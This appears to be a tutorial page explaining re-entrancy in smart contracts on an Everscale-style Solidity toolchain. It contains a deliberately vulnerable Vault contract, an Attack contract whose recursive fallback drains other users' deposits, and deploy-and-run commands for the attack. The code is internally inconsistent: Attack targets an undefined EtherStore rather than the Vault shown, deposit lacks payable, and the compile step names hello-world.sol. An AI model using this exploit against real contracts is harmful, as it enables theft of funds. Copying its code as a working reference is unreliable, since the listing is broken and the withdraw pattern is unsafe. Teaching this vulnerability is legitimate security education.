Skip to main content

Re-Entrancy

Vulnerability: Let's say that contract A calls contract B.

Reentracy exploit allows B to call back into A before A finishes execution.

EtherStore is a contract where you can deposit and withdraw ETH. This contract is vulnerable to re-entrancy attack. Let's see why.

  1. Deploy EtherStore
  2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
  3. Deploy Attack with address of EtherStore
  4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). You will get 3 Ethers back (2 Ether stolen from Alice and Bob, plus 1 Ether sent from this contract).

What happened?

// SPDX-License-Identifier: MIT
pragma ever-solidity ^0.70.0;

contract Vault {
mapping(address => uint) public balances;

function deposit() public externalMsg {
balances[msg.sender] += msg.value;
}

function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);

(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

contract Attack {
EtherStore public etherStore;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

Attack was able to call EtherStore.withdraw multiple times before EtherStore.withdraw finished executing.

Here is how the functions were called

  • Attack.attack
  • EtherStore.deposit
  • EtherStore.withdraw
  • Attack fallback (receives 1 Ether)
  • EtherStore.withdraw
  • Attack.fallback (receives 1 Ether)
  • EtherStore.withdraw
  • Attack fallback (receives 1 Ether)

Deploying the contract

npx everdev sol set --compiler 0.70.0
npx everdev sol compile hello-world.sol
npx everdev contract deploy Vault -v 10T

Interacting with the contract

npx everdev contract run-local Vault balance
npx everdev contract run-local Attack balance
npx everdev contract run Attack attack